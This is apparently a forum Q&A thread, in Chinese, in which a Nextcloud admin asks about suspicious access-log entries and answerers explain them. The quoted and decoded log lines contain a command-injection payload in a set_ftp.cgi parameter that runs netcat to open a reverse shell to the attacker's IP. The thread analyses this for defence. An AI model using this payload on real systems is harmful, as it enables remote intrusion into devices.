我有一个运行在 Apache 上的 Nextcloud 服务器,在运行 apt-update 时禁用了防火墙约 5 分钟。之后我决定检查日志,发现这个来自一个未知 IP。它似乎正在尝试运行某种脚本。这看起来像是恶意的还是只是一些网络爬虫?谢谢!
89.248.166.183 - - [15/Sep/2020:02:06:18 -0400] "GET login.cgi HTTP/1.1" 400 0 "-" "-"
89.248.166.183 - - [15/Sep/2020:02:06:20 -0400] "GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+89.248.166.183+1245+-e+%2Fbin%2Fs>
89.248.166.183 - - [15/Sep/2020:02:06:20 -0400] "GET /ftptest.cgi?loginuse=&loginpas= HTTP/1.1\n" 400 0 "-" "-"
答案1
如果您拥有具有公共 IP 的 Web 服务器,则此类脚本攻击很正常。“良好”的 Web 爬虫(Google、Bing 等)会通过标User-Agent
头识别自己,并且不会尝试登录您的网站。
答案2
89.248.166.183 - - [15/Sep/2020:02:06:20 -0400] "GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+89.248.166.183+1245+-e+%2Fbin%2Fs>
如果你解码上述日志,你将得到: /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(nc 89.248.166.183 1245 -e /bin/s>
以上请求尝试连接到/bin/sh在 netcat 中使用 nc (netcat)-e用于的选项指定连接后要执行的文件名。
但请求返回400 错误请求状态代码。